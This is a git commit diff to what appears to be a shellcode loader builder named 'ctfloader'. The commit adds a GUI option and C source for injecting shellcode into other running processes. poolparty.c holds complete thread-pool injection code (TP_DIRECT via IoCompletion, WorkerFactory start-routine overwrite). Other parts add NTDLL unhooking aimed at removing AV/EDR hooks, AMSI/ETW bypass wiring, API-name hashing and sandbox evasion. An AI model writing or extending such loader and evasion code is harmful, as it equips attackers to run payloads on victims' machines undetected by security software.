new exec methods

This commit is contained in:
mocha
2026-03-08 17:44:39 +01:00
parent 60e818be00
commit 75a381e480
19 changed files with 1199 additions and 62 deletions
-1
View File
@@ -1 +0,0 @@
# Linux Version
+2 -1
View File
@@ -11,13 +11,14 @@ class BuildConfig:
mode: str = "staged" # "staged" or "stageless"
payload_path: str = "" # Path to .bin shellcode
format: str = "EXE" # "EXE" or "DLL"
inject_method: str = "apc" # "apc" or "copyfile2"
inject_method: str = "apc" # "apc", "copyfile2", "tp_direct", "wf_overwrite", "timerqueue"
target_process: str = "RuntimeBroker.exe" # APC target process
output: str = "ctfloader" # Output base name
# Options
encrypt: bool = False
scramble: bool = False
unhook: bool = True # NTDLL unhooking via Known DLLs
entropy_reduction: bool = False
sandbox_checks: bool = False # pre-flight uptime/RAM/CPU checks
sandbox_min_uptime_s: int = 300 # minimum system uptime in seconds
+81 -7
View File
@@ -69,8 +69,8 @@ class BuildEngine:
with open(config.payload_path, "rb") as f:
payload = f.read()
# Set target process (APC only)
if config.inject_method == "apc":
# Set target process (APC + PoolParty methods open an existing process by name)
if config.inject_method in ("apc", "tp_direct", "wf_overwrite"):
self._set_target_process(dst, config)
# Set injection method (must happen before hash replacement
@@ -109,6 +109,9 @@ class BuildEngine:
# Trampoline hooks (AMSI / ETW bypass)
self._handle_trampoline_bypass(dst, config)
# NTDLL unhooking
self._handle_unhook(dst, config)
# Compile and sign
return self._compile_and_sign(dst, config)
@@ -136,8 +139,8 @@ class BuildEngine:
payload_hex = ', '.join(f"0x{b:02x}" for b in raw_payload)
# Set target process (APC only)
if config.inject_method == "apc":
# Set target process (APC + PoolParty methods open an existing process by name)
if config.inject_method in ("apc", "tp_direct", "wf_overwrite"):
self._set_target_process(dst, config)
# Set injection method (must happen before hash replacement
@@ -176,6 +179,9 @@ class BuildEngine:
# Trampoline hooks (AMSI / ETW bypass)
self._handle_trampoline_bypass(dst, config)
# NTDLL unhooking
self._handle_unhook(dst, config)
# Compile and sign
return self._compile_and_sign(dst, config)
@@ -222,6 +228,12 @@ class BuildEngine:
"#-GETTICKCOUNT64_VALUE-#": Hasher.Hasher("GetTickCount64", seed, initial_hash),
"#-GLOBALMEMORYSTATUSEX_VALUE-#": Hasher.Hasher("GlobalMemoryStatusEx", seed, initial_hash),
"#-GETSYSTEMINFO_VALUE-#": Hasher.Hasher("GetSystemInfo", seed, initial_hash),
# poolparty.c API hashing
"#-NTQIP_VALUE-#": Hasher.Hasher("NtQueryInformationProcess", seed, initial_hash),
"#-NTQO_VALUE-#": Hasher.Hasher("NtQueryObject", seed, initial_hash),
"#-NTQIWF_VALUE-#": Hasher.Hasher("NtQueryInformationWorkerFactory", seed, initial_hash),
"#-NTSIWF_VALUE-#": Hasher.Hasher("NtSetInformationWorkerFactory", seed, initial_hash),
"#-ZSETIO_VALUE-#": Hasher.Hasher("ZwSetIoCompletion", seed, initial_hash),
# trampoline.c API hashing
"#-AMSI_VALUE-#": Hasher.Hasher("AMSI.DLL", seed, initial_hash),
"#-AMSISCANBUFFER_VALUE-#": Hasher.Hasher("AmsiScanBuffer", seed, initial_hash),
@@ -313,7 +325,7 @@ class BuildEngine:
\t// Stopping the debugging of the process, which launches the payload
\tcDAPSu(dwProcessId);
\t//printf("[+] Payload executed!\\n");'''
elif config.inject_method == "callback":
elif config.inject_method == "copyfile2":
injection_code = '''//printf("[i] Executing shellcode via CopyFile2 callback..\\n");
\t// Doing Callback Injection
\tif (!CallbackInjection(pClearText, sEncPayload, &pProcess)) {
@@ -323,6 +335,33 @@ class BuildEngine:
\t
\t//printf("[+] Payload executed via callback!\\n");'''
elif config.inject_method == "tp_direct":
injection_code = '''//printf("[i] Executing shellcode via PoolParty TP_DIRECT..\\n");
\t// PoolParty Variant 7: TP_DIRECT insertion via IoCompletion queue
\tif (!PoolPartyTpDirect(pClearText, sEncPayload, TARGET_PROCESS)) {
\t\treturn -1;
\t}
\t//printf("[+] Shellcode queued via TP_DIRECT!\\n");'''
elif config.inject_method == "wf_overwrite":
injection_code = '''//printf("[i] Executing shellcode via PoolParty WorkerFactory overwrite..\\n");
\t// PoolParty Variant 1: WorkerFactory start-routine overwrite
\tif (!PoolPartyWfOverwrite(pClearText, sEncPayload, TARGET_PROCESS)) {
\t\treturn -1;
\t}
\t//printf("[+] Shellcode injected via WorkerFactory overwrite!\\n");'''
elif config.inject_method == "timerqueue":
injection_code = '''//printf("[i] Executing shellcode via TimerQueue callback..\\n");
\t// TimerQueue callback self-injection
\tif (!TimerQueueInject(pClearText, sEncPayload)) {
\t\treturn -1;
\t}
\t//printf("[+] Shellcode dispatched via TimerQueue callback!\\n");'''
target_file = "main.c" if config.format != "DLL" else "main_dll.c"
filepath = os.path.join(dst, target_file)
@@ -330,9 +369,9 @@ class BuildEngine:
data = f.read()
data = data.replace("// #-INJECTION_METHOD_PLACEHOLDER-#", injection_code)
# CopyFile2 injection doesn't need a suspended process
# CopyFile2 and PoolParty injections find an existing process — no suspended process needed
# comment out CreateSuspendedProcess and its surrounding sleeps/prints
if config.inject_method == "copyfile2":
if config.inject_method in ("copyfile2", "tp_direct", "wf_overwrite", "timerqueue"):
lines = data.splitlines(keepends=True)
in_csp_block = False
for i in range(len(lines)):
@@ -946,6 +985,41 @@ class BuildEngine:
with open(fpath, "w") as f:
f.write(data)
def _handle_unhook(self, dst: str, config: "BuildConfig"):
"""Optionally strip the NTDLL unhooking block from main*.c.
When unhook is True (default), the MapNtdll()/Unhook() block is
left in place. When False it is replaced with a comment so the
loader skips unhooking entirely (smaller surface, but no hook
removal).
"""
if getattr(config, 'unhook', True):
self._log("NTDLL unhooking enabled.", "info")
return
self._log("NTDLL unhooking disabled.", "info")
old_block = (
"\t//printf(\"[+] Un-hooking Ntdll \\n\");\n"
"\tLPVOID nt = MapNtdll();\n"
"\tif (!nt) \n"
"\t\treturn -1;\n"
"\n"
"\tif (!Unhook(nt)) \n"
"\t\treturn -1;\n"
)
new_block = "\t/* NTDLL unhooking disabled */\n"
for fname in ("main.c", "main_dll.c"):
fpath = os.path.join(dst, fname)
if not os.path.exists(fpath):
continue
with open(fpath, "r") as f:
data = f.read()
data = data.replace(old_block, new_block)
with open(fpath, "w") as f:
f.write(data)
# ------------------------------------------------------------------
# Compile & sign
# ------------------------------------------------------------------
+22 -9
View File
@@ -197,7 +197,11 @@ class StagedTab(QWidget):
form.addRow("Format:", self._format_combo)
self._inject_combo = QComboBox()
self._inject_combo.addItems(["apc", "copyfile2"])
self._inject_combo.addItem("apc", "apc")
self._inject_combo.addItem("copyfile2", "copyfile2")
self._inject_combo.addItem("Threadpool (TP_DIRECT)", "tp_direct")
self._inject_combo.addItem("Threadpool (WF Overwrite)", "wf_overwrite")
self._inject_combo.addItem("Timer Queue (callback)", "timerqueue")
self._inject_combo.setMinimumWidth(140)
form.addRow("Injection:", self._inject_combo)
@@ -257,10 +261,12 @@ class StagedTab(QWidget):
self._encrypt_check = QCheckBox("Encrypt shellcode (AES-128-CBC)")
self._scramble_check = QCheckBox("Scramble functions and variables")
self._unhook_check = QCheckBox("NTDLL unhooking (Known DLLs)")
self._unhook_check.setChecked(True)
self._entropy_check = QCheckBox("Entropy reduction (embed English text)")
self._sandbox_check = QCheckBox("Sandbox checks")
for check in (self._encrypt_check, self._scramble_check,
self._entropy_check, self._sandbox_check):
self._unhook_check, self._entropy_check, self._sandbox_check):
layout.addWidget(check)
self._sb_thresh_row = QWidget()
@@ -403,8 +409,11 @@ class StagedTab(QWidget):
self._payload_edit.setToolTip("Path to raw shellcode .bin file (drag & drop supported)")
self._format_combo.setToolTip("EXE: standalone executable | DLL: dynamic library for injection")
self._inject_combo.setToolTip(
"APC: Queue APC to suspended process (stealthier)\n"
"CopyFile2: Execute via CopyFile2 progress callback (no target process needed)")
"apc: EarlyBird APC into suspended process\n"
"copyfile2: CopyFile2 progress callback (self-injection)\n"
"Threadpool (TP_DIRECT): PoolParty — ZwSetIoCompletion via IoCompletion handle (existing process)\n"
"Threadpool (WF Overwrite): PoolParty — overwrite WorkerFactory StartRoutine (existing process)\n"
"Timer Queue (callback): CreateTimerQueueTimer self-injection — shellcode runs on thread pool (current process)")
self._target_combo.setToolTip("Process to inject into via APC (only used with APC injection)")
self._ip_edit.setToolTip("IP/hostname of shellcode download server")
self._port_spin.setToolTip("Port of shellcode download server")
@@ -413,6 +422,7 @@ class StagedTab(QWidget):
self._ua_edit.setToolTip("User-Agent header for HTTP/HTTPS download request")
self._encrypt_check.setToolTip("Encrypt shellcode with AES-128-CBC (key/IV embedded in loader)")
self._scramble_check.setToolTip("Randomize function/variable names and optimization level for polymorphism")
self._unhook_check.setToolTip("Remap a clean copy of NTDLL from KnownDlls, removing any userland hooks set by AV/EDR")
self._entropy_check.setToolTip("Embed English text in loader to reduce entropy")
self._sandbox_check.setToolTip("Check uptime, RAM, and CPU count before executing — exits cleanly if a sandbox is detected")
self._pfx_edit.setToolTip("PFX certificate file for code signing (EXE only, drag & drop supported)")
@@ -426,9 +436,9 @@ class StagedTab(QWidget):
QShortcut(QKeySequence("Ctrl+S"), self, self._save_profile)
def _connect_adaptive(self):
self._inject_combo.currentTextChanged.connect(self._on_inject_changed)
self._inject_combo.currentIndexChanged.connect(lambda _: self._on_inject_changed(self._inject_combo.currentData()))
self._format_combo.currentTextChanged.connect(self._on_format_changed)
self._on_inject_changed(self._inject_combo.currentText())
self._on_inject_changed(self._inject_combo.currentData())
self._on_format_changed(self._format_combo.currentText())
def _on_inject_changed(self, method: str):
@@ -501,7 +511,7 @@ class StagedTab(QWidget):
mode="staged",
payload_path=self._payload_edit.text(),
format=self._format_combo.currentText(),
inject_method=self._inject_combo.currentText(),
inject_method=self._inject_combo.currentData(),
target_process=self._target_combo.currentText(),
ip_address=self._ip_edit.text(),
port=self._port_spin.value(),
@@ -510,6 +520,7 @@ class StagedTab(QWidget):
user_agent=self._ua_edit.text(),
encrypt=self._encrypt_check.isChecked(),
scramble=self._scramble_check.isChecked(),
unhook=self._unhook_check.isChecked(),
entropy_reduction=self._entropy_check.isChecked(),
sandbox_checks=self._sandbox_check.isChecked(),
sandbox_min_uptime_s=self._sb_uptime_spin.value(),
@@ -529,7 +540,7 @@ class StagedTab(QWidget):
def _apply_config(self, config: BuildConfig):
self._payload_edit.setText(config.payload_path)
self._format_combo.setCurrentText(config.format)
self._inject_combo.setCurrentText(config.inject_method)
self._inject_combo.setCurrentIndex(next((i for i in range(self._inject_combo.count()) if self._inject_combo.itemData(i) == config.inject_method), 0))
self._target_combo.setCurrentText(config.target_process)
self._ip_edit.setText(config.ip_address)
self._port_spin.setValue(config.port)
@@ -538,6 +549,7 @@ class StagedTab(QWidget):
self._ua_edit.setText(config.user_agent)
self._encrypt_check.setChecked(config.encrypt)
self._scramble_check.setChecked(config.scramble)
self._unhook_check.setChecked(getattr(config, 'unhook', True))
self._entropy_check.setChecked(getattr(config, 'entropy_reduction', False))
self._sandbox_check.setChecked(getattr(config, 'sandbox_checks', False))
self._sb_uptime_spin.setValue(getattr(config, 'sandbox_min_uptime_s', 300))
@@ -586,7 +598,7 @@ class StagedTab(QWidget):
mode="staged",
payload_path=self._payload_edit.text(),
format=self._format_combo.currentText(),
inject_method=self._inject_combo.currentText(),
inject_method=self._inject_combo.currentData(),
target_process=self._target_combo.currentText(),
ip_address=self._ip_edit.text(),
port=self._port_spin.value(),
@@ -595,6 +607,7 @@ class StagedTab(QWidget):
user_agent=self._ua_edit.text(),
encrypt=self._encrypt_check.isChecked(),
scramble=self._scramble_check.isChecked(),
unhook=self._unhook_check.isChecked(),
entropy_reduction=self._entropy_check.isChecked(),
sandbox_checks=self._sandbox_check.isChecked(),
sandbox_min_uptime_s=self._sb_uptime_spin.value(),
+22 -9
View File
@@ -194,7 +194,11 @@ class StagelessTab(QWidget):
form.addRow("Format:", self._format_combo)
self._inject_combo = QComboBox()
self._inject_combo.addItems(["apc", "copyfile2"])
self._inject_combo.addItem("apc", "apc")
self._inject_combo.addItem("copyfile2", "copyfile2")
self._inject_combo.addItem("Threadpool (TP_DIRECT)", "tp_direct")
self._inject_combo.addItem("Threadpool (WF Overwrite)", "wf_overwrite")
self._inject_combo.addItem("Timer Queue (callback)", "timerqueue")
self._inject_combo.setMinimumWidth(140)
form.addRow("Injection:", self._inject_combo)
@@ -214,10 +218,12 @@ class StagelessTab(QWidget):
self._encrypt_check = QCheckBox("Encrypt shellcode (AES-128-CBC)")
self._scramble_check = QCheckBox("Scramble functions and variables")
self._unhook_check = QCheckBox("NTDLL unhooking (Known DLLs)")
self._unhook_check.setChecked(True)
self._entropy_check = QCheckBox("Entropy reduction (embed English text)")
self._sandbox_check = QCheckBox("Sandbox checks")
for check in (self._encrypt_check, self._scramble_check,
self._entropy_check, self._sandbox_check):
self._unhook_check, self._entropy_check, self._sandbox_check):
layout.addWidget(check)
self._sb_thresh_row = QWidget()
@@ -360,11 +366,15 @@ class StagelessTab(QWidget):
self._payload_edit.setToolTip("Path to raw shellcode .bin file (drag & drop supported)")
self._format_combo.setToolTip("EXE: standalone executable | DLL: dynamic library for injection")
self._inject_combo.setToolTip(
"APC: Queue APC to suspended process (stealthier)\n"
"CopyFile2: Execute via CopyFile2 progress callback (no target process needed)")
"apc: EarlyBird APC into suspended process\n"
"copyfile2: CopyFile2 progress callback (self-injection)\n"
"Threadpool (TP_DIRECT): PoolParty — ZwSetIoCompletion via IoCompletion handle (existing process)\n"
"Threadpool (WF Overwrite): PoolParty — overwrite WorkerFactory StartRoutine (existing process)\n"
"Timer Queue (callback): CreateTimerQueueTimer self-injection — shellcode runs on thread pool (current process)")
self._target_combo.setToolTip("Process to inject into via APC (only used with APC injection)")
self._encrypt_check.setToolTip("Encrypt shellcode with AES-128-CBC (key/IV embedded in loader)")
self._scramble_check.setToolTip("Randomize function/variable names and optimization level for polymorphism")
self._unhook_check.setToolTip("Remap a clean copy of NTDLL from KnownDlls, removing any userland hooks set by AV/EDR")
self._entropy_check.setToolTip("Embed English text in loader to reduce entropy")
self._sandbox_check.setToolTip("Check uptime, RAM, and CPU count before executing — exits cleanly if a sandbox is detected")
self._pfx_edit.setToolTip("PFX certificate file for code signing (EXE only, drag & drop supported)")
@@ -378,9 +388,9 @@ class StagelessTab(QWidget):
QShortcut(QKeySequence("Ctrl+S"), self, self._save_profile)
def _connect_adaptive(self):
self._inject_combo.currentTextChanged.connect(self._on_inject_changed)
self._inject_combo.currentIndexChanged.connect(lambda _: self._on_inject_changed(self._inject_combo.currentData()))
self._format_combo.currentTextChanged.connect(self._on_format_changed)
self._on_inject_changed(self._inject_combo.currentText())
self._on_inject_changed(self._inject_combo.currentData())
self._on_format_changed(self._format_combo.currentText())
def _on_inject_changed(self, method: str):
@@ -445,10 +455,11 @@ class StagelessTab(QWidget):
mode="stageless",
payload_path=self._payload_edit.text(),
format=self._format_combo.currentText(),
inject_method=self._inject_combo.currentText(),
inject_method=self._inject_combo.currentData(),
target_process=self._target_combo.currentText(),
encrypt=self._encrypt_check.isChecked(),
scramble=self._scramble_check.isChecked(),
unhook=self._unhook_check.isChecked(),
entropy_reduction=self._entropy_check.isChecked(),
sandbox_checks=self._sandbox_check.isChecked(),
sandbox_min_uptime_s=self._sb_uptime_spin.value(),
@@ -468,10 +479,11 @@ class StagelessTab(QWidget):
def _apply_config(self, config: BuildConfig):
self._payload_edit.setText(config.payload_path)
self._format_combo.setCurrentText(config.format)
self._inject_combo.setCurrentText(config.inject_method)
self._inject_combo.setCurrentIndex(next((i for i in range(self._inject_combo.count()) if self._inject_combo.itemData(i) == config.inject_method), 0))
self._target_combo.setCurrentText(config.target_process)
self._encrypt_check.setChecked(config.encrypt)
self._scramble_check.setChecked(config.scramble)
self._unhook_check.setChecked(getattr(config, 'unhook', True))
self._entropy_check.setChecked(getattr(config, 'entropy_reduction', False))
self._sandbox_check.setChecked(getattr(config, 'sandbox_checks', False))
self._sb_uptime_spin.setValue(getattr(config, 'sandbox_min_uptime_s', 300))
@@ -520,10 +532,11 @@ class StagelessTab(QWidget):
mode="stageless",
payload_path=self._payload_edit.text(),
format=self._format_combo.currentText(),
inject_method=self._inject_combo.currentText(),
inject_method=self._inject_combo.currentData(),
target_process=self._target_combo.currentText(),
encrypt=self._encrypt_check.isChecked(),
scramble=self._scramble_check.isChecked(),
unhook=self._unhook_check.isChecked(),
entropy_reduction=self._entropy_check.isChecked(),
sandbox_checks=self._sandbox_check.isChecked(),
sandbox_min_uptime_s=self._sb_uptime_spin.value(),
+3 -1
View File
@@ -48,7 +48,9 @@ COMMON_SRCS := \
unhook.c \
hellhall.c \
sandbox.c \
trampoline.c
trampoline.c \
poolparty.c \
timerqueue.c
ifeq ($(FORMAT),DLL)
MAIN_SRC := main_dll.c
+7
View File
@@ -21,5 +21,12 @@ FARPROC GetProcAddressH(HMODULE moduleHandle, DWORD hash);
BOOL Unhook(LPVOID module);
LPVOID MapNtdll();
// PoolParty thread-pool injection (poolparty.c)
BOOL PoolPartyTpDirect (IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode, IN LPCSTR szTarget);
BOOL PoolPartyWfOverwrite(IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode, IN LPCSTR szTarget);
// TimerQueue callback self-injection (timerqueue.c)
BOOL TimerQueueInject(IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode);
typedef BOOL (WINAPI* cCPA)(LPCSTR lpApplicationName,LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes,LPSECURITY_ATTRIBUTES lpThreadAttributes,BOOL bInheritHandles,DWORD dwCreationFlags, LPVOID lpEnvironment,LPCSTR lpCurrentDirectory,LPSTARTUPINFOA lpStartupInfo,LPPROCESS_INFORMATION lpProcessInformation);
typedef BOOL (WINAPI* cDAPS)(DWORD dwProcessId);
+287
View File
@@ -0,0 +1,287 @@
/*
* PoolParty — Thread Pool Process Injection
* Techniques adapted from @_0xDeku (Black Hat EU 2023)
* https://github.com/SafeBreach-Labs/PoolParty
*
* Variant 1 : WorkerFactory start-routine overwrite (PoolPartyWfOverwrite)
* Variant 7 : TP_DIRECT insertion via IoCompletion (PoolPartyTpDirect)
*/
#include <windows.h>
#include <tlhelp32.h>
#include <string.h>
#include <wchar.h>
#include "poolparty.h"
#include "functions.h"
/* ── Internal: find a process PID by name (case-insensitive) ─────────── */
static DWORD PP_GetPidByName(LPCSTR szName) {
DWORD dwPid = 0;
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnap == INVALID_HANDLE_VALUE)
return 0;
PROCESSENTRY32 pe;
pe.dwSize = sizeof(pe);
if (Process32First(hSnap, &pe)) {
do {
if (_stricmp(pe.szExeFile, szName) == 0) {
dwPid = pe.th32ProcessID;
break;
}
} while (Process32Next(hSnap, &pe));
}
CloseHandle(hSnap);
return dwPid;
}
/* ── Internal: duplicate a handle of a given type from hProcess ─────── */
/*
* Walks the target process handle table via NtQueryInformationProcess
* (ProcessHandleInformation = 51), duplicates each handle into the current
* process, and uses NtQueryObject to check the kernel object type name.
* Returns the duplicated handle on match, or NULL on failure.
*/
static HANDLE PP_HijackHandle(
HANDLE hProcess,
LPCWSTR wsTypeName,
ACCESS_MASK dwAccess) {
HMODULE hNtdll = GetModuleHandleH(#-NTDLL_VALUE-#);
fnNtQueryInformationProcess fpNtQIP = (fnNtQueryInformationProcess)
GetProcAddressH(hNtdll, #-NTQIP_VALUE-#);
fnNtQueryObject fpNtQO = (fnNtQueryObject)
GetProcAddressH(hNtdll, #-NTQO_VALUE-#);
if (!fpNtQIP || !fpNtQO)
return NULL;
/* Grow the buffer until NtQueryInformationProcess is satisfied */
ULONG uSize = 0x8000;
PPP_HANDLE_SNAPSHOT pSnap = NULL;
NTSTATUS status = STATUS_INFO_LENGTH_MISMATCH;
while (status == (NTSTATUS)STATUS_INFO_LENGTH_MISMATCH ||
status == (NTSTATUS)STATUS_BUFFER_TOO_SMALL) {
if (pSnap)
HeapFree(GetProcessHeap(), 0, pSnap);
uSize *= 2;
pSnap = (PPP_HANDLE_SNAPSHOT)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY, uSize);
if (!pSnap)
return NULL;
status = fpNtQIP(hProcess, PP_ProcessHandleInformation,
pSnap, uSize, &uSize);
}
if (status != 0) {
HeapFree(GetProcessHeap(), 0, pSnap);
return NULL;
}
HANDLE hFound = NULL;
USHORT wTargetLen = (USHORT)wcslen(wsTypeName);
for (ULONG_PTR i = 0; i < pSnap->NumberOfHandles; i++) {
HANDLE hDup = NULL;
if (!DuplicateHandle(hProcess,
pSnap->Handles[i].HandleValue,
GetCurrentProcess(),
&hDup,
dwAccess, FALSE, 0))
continue;
/* Use a stack buffer — type names are short (<64 chars) */
BYTE buf[512] = { 0 };
NTSTATUS qoStatus = fpNtQO(hDup, PP_ObjectTypeInformation,
buf, sizeof(buf), NULL);
if (qoStatus != 0) {
CloseHandle(hDup);
continue;
}
PPP_OBJECT_TYPE_INFO pInfo = (PPP_OBJECT_TYPE_INFO)buf;
/* TypeName.Length is in bytes — convert to wchar count */
USHORT wLen = pInfo->TypeName.Length / sizeof(WCHAR);
if (pInfo->TypeName.Buffer != NULL &&
wLen == wTargetLen &&
wcsncmp(pInfo->TypeName.Buffer, wsTypeName, wLen) == 0) {
hFound = hDup;
break;
}
CloseHandle(hDup);
}
HeapFree(GetProcessHeap(), 0, pSnap);
return hFound;
}
/* ── Variant 7: TP_DIRECT insertion via IoCompletion ─────────────────── */
/*
* 1. Finds the target process by name and opens it.
* 2. Hijacks the IoCompletion handle from the target's thread pool.
* 3. Allocates RWX memory in the target and writes the shellcode.
* 4. Crafts a TP_DIRECT structure with Callback = shellcode address.
* 5. Allocates the TP_DIRECT in the target process and writes it.
* 6. Calls ZwSetIoCompletion to queue a packet — the target's thread
* pool dequeues it and dispatches to our shellcode.
*/
BOOL PoolPartyTpDirect(IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode,
IN LPCSTR szTarget) {
fnZwSetIoCompletion fpZwSIC = (fnZwSetIoCompletion)
GetProcAddressH(GetModuleHandleH(#-NTDLL_VALUE-#), #-ZSETIO_VALUE-#);
if (!fpZwSIC)
return FALSE;
/* Step 1: locate the target process */
DWORD dwPid = PP_GetPidByName(szTarget);
if (!dwPid)
return FALSE;
/* Step 2: open it with VM + handle duplication privileges */
HANDLE hProcess = OpenProcess(
PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION |
PROCESS_DUP_HANDLE | PROCESS_QUERY_INFORMATION,
FALSE, dwPid);
if (!hProcess)
return FALSE;
/* Step 3: hijack the IoCompletion handle from the target's thread pool */
HANDLE hIoCompletion = PP_HijackHandle(hProcess, L"IoCompletion",
IO_COMPLETION_ALL_ACCESS);
if (!hIoCompletion) {
CloseHandle(hProcess);
return FALSE;
}
/* Step 4: allocate RWX memory in the target and write the shellcode */
PVOID pRemoteShellcode = VirtualAllocEx(hProcess, NULL, sSizeOfShellcode,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (!pRemoteShellcode) {
CloseHandle(hIoCompletion);
CloseHandle(hProcess);
return FALSE;
}
SIZE_T dwWritten = 0;
if (!WriteProcessMemory(hProcess, pRemoteShellcode,
pShellcode, sSizeOfShellcode, &dwWritten)) {
VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);
CloseHandle(hIoCompletion);
CloseHandle(hProcess);
return FALSE;
}
/* Step 5: craft TP_DIRECT with shellcode address as the callback */
PP_TP_DIRECT Direct;
RtlSecureZeroMemory(&Direct, sizeof(Direct));
Direct.Callback = pRemoteShellcode;
PVOID pRemoteDirect = VirtualAllocEx(hProcess, NULL, sizeof(PP_TP_DIRECT),
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);
if (!pRemoteDirect) {
VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);
CloseHandle(hIoCompletion);
CloseHandle(hProcess);
return FALSE;
}
WriteProcessMemory(hProcess, pRemoteDirect,
&Direct, sizeof(PP_TP_DIRECT), NULL);
/* Step 6: queue the IO completion packet — triggers execution */
NTSTATUS status = fpZwSIC(hIoCompletion, pRemoteDirect, NULL, 0, 0);
CloseHandle(hIoCompletion);
CloseHandle(hProcess);
return (status == 0);
}
/* ── Variant 1: WorkerFactory start-routine overwrite ────────────────── */
/*
* 1. Finds the target process by name and opens it.
* 2. Hijacks the TpWorkerFactory handle from the target's thread pool.
* 3. Queries worker factory basic info to get StartRoutine + TotalWorkerCount.
* 4. Overwrites StartRoutine in the target process with the shellcode
* (WriteProcessMemory bypasses page protection internally).
* 5. Bumps the minimum thread count via NtSetInformationWorkerFactory,
* forcing the thread pool to spawn a new worker that jumps to our code.
*/
BOOL PoolPartyWfOverwrite(IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode,
IN LPCSTR szTarget) {
HMODULE hNtdll = GetModuleHandleH(#-NTDLL_VALUE-#);
fnNtQueryInformationWorkerFactory fpNtQIWF =
(fnNtQueryInformationWorkerFactory)
GetProcAddressH(hNtdll, #-NTQIWF_VALUE-#);
fnNtSetInformationWorkerFactory fpNtSIWF =
(fnNtSetInformationWorkerFactory)
GetProcAddressH(hNtdll, #-NTSIWF_VALUE-#);
if (!fpNtQIWF || !fpNtSIWF)
return FALSE;
/* Step 1: locate the target process */
DWORD dwPid = PP_GetPidByName(szTarget);
if (!dwPid)
return FALSE;
/* Step 2: open it — VM write + handle duplication */
HANDLE hProcess = OpenProcess(
PROCESS_VM_WRITE | PROCESS_VM_OPERATION |
PROCESS_DUP_HANDLE | PROCESS_QUERY_INFORMATION,
FALSE, dwPid);
if (!hProcess)
return FALSE;
/* Step 3: hijack the TpWorkerFactory handle */
HANDLE hWorkerFactory = PP_HijackHandle(hProcess, L"TpWorkerFactory",
WORKER_FACTORY_ALL_ACCESS);
if (!hWorkerFactory) {
CloseHandle(hProcess);
return FALSE;
}
/* Step 4: query basic info — we need StartRoutine and TotalWorkerCount */
PP_WF_BASIC_INFO wfInfo;
RtlSecureZeroMemory(&wfInfo, sizeof(wfInfo));
if (fpNtQIWF(hWorkerFactory, (ULONG)PPWorkerFactoryBasicInformation,
&wfInfo, sizeof(wfInfo), NULL) != 0) {
CloseHandle(hWorkerFactory);
CloseHandle(hProcess);
return FALSE;
}
/* Step 5: overwrite the start routine with our shellcode */
/* WriteProcessMemory writes through page protection — no VirtualProtectEx needed */
SIZE_T dwWritten = 0;
if (!WriteProcessMemory(hProcess, wfInfo.StartRoutine,
pShellcode, sSizeOfShellcode, &dwWritten)) {
CloseHandle(hWorkerFactory);
CloseHandle(hProcess);
return FALSE;
}
/* Step 6: bump minimum thread count to force a new worker to start */
ULONG uMinThreads = wfInfo.TotalWorkerCount + 1;
fpNtSIWF(hWorkerFactory, (ULONG)PPWorkerFactoryThreadMinimum,
&uMinThreads, sizeof(ULONG));
CloseHandle(hWorkerFactory);
CloseHandle(hProcess);
return TRUE;
}
+159
View File
@@ -0,0 +1,159 @@
#pragma once
/*
* PoolParty — Thread Pool Process Injection
* Techniques adapted from @_0xDeku (Black Hat EU 2023)
* https://github.com/SafeBreach-Labs/PoolParty
*
* Variant 1 : WorkerFactory start-routine overwrite (wf_overwrite)
* Variant 7 : TP_DIRECT insertion via IoCompletion (tp_direct)
*/
#include <windows.h>
#include <winternl.h>
#include <tlhelp32.h>
/* ── NT status helpers ────────────────────────────────────────────────── */
#ifndef STATUS_INFO_LENGTH_MISMATCH
# define STATUS_INFO_LENGTH_MISMATCH 0xC0000004UL
#endif
#ifndef STATUS_BUFFER_TOO_SMALL
# define STATUS_BUFFER_TOO_SMALL 0xC0000023UL
#endif
/* ── NtQueryObject information class ─────────────────────────────────── */
#define PP_ObjectTypeInformation 2
/* ── NtQueryInformationProcess class for handle snapshot (Win8+) ─────── */
#define PP_ProcessHandleInformation 51
/* ── Worker-factory access mask ──────────────────────────────────────── */
#ifndef WORKER_FACTORY_ALL_ACCESS
# define WORKER_FACTORY_ALL_ACCESS 0x001F003FL
#endif
/* ── I/O completion access mask ──────────────────────────────────────── */
#ifndef IO_COMPLETION_ALL_ACCESS
# define IO_COMPLETION_ALL_ACCESS 0x001F0003L
#endif
/* ── Handle snapshot structs ─────────────────────────────────────────── */
typedef struct _PP_HANDLE_ENTRY {
HANDLE HandleValue;
ULONG_PTR HandleCount;
ULONG_PTR PointerCount;
ACCESS_MASK GrantedAccess;
ULONG ObjectTypeIndex;
ULONG HandleAttributes;
ULONG Reserved;
} PP_HANDLE_ENTRY, *PPP_HANDLE_ENTRY;
typedef struct _PP_HANDLE_SNAPSHOT {
ULONG_PTR NumberOfHandles;
ULONG_PTR Reserved;
PP_HANDLE_ENTRY Handles[ANYSIZE_ARRAY];
} PP_HANDLE_SNAPSHOT, *PPP_HANDLE_SNAPSHOT;
/* ── NtQueryObject result (ObjectTypeInformation) ────────────────────── */
typedef struct _PP_OBJECT_TYPE_INFO {
UNICODE_STRING TypeName;
ULONG Reserved[22];
} PP_OBJECT_TYPE_INFO, *PPP_OBJECT_TYPE_INFO;
/* ── WorkerFactory basic information ─────────────────────────────────── */
typedef enum _PP_QUERY_WF_CLASS {
PPWorkerFactoryBasicInformation = 7
} PP_QUERY_WF_CLASS;
typedef enum _PP_SET_WF_CLASS {
PPWorkerFactoryThreadMinimum = 4
} PP_SET_WF_CLASS;
typedef struct _PP_WF_BASIC_INFO {
LARGE_INTEGER Timeout;
LARGE_INTEGER RetryTimeout;
LARGE_INTEGER IdleTimeout;
BOOLEAN Paused;
BOOLEAN TimerSet;
BOOLEAN QueuedToExWorker;
BOOLEAN MayCreate;
BOOLEAN CreateInProgress;
BOOLEAN InsertedIntoQueue;
BOOLEAN Shutdown;
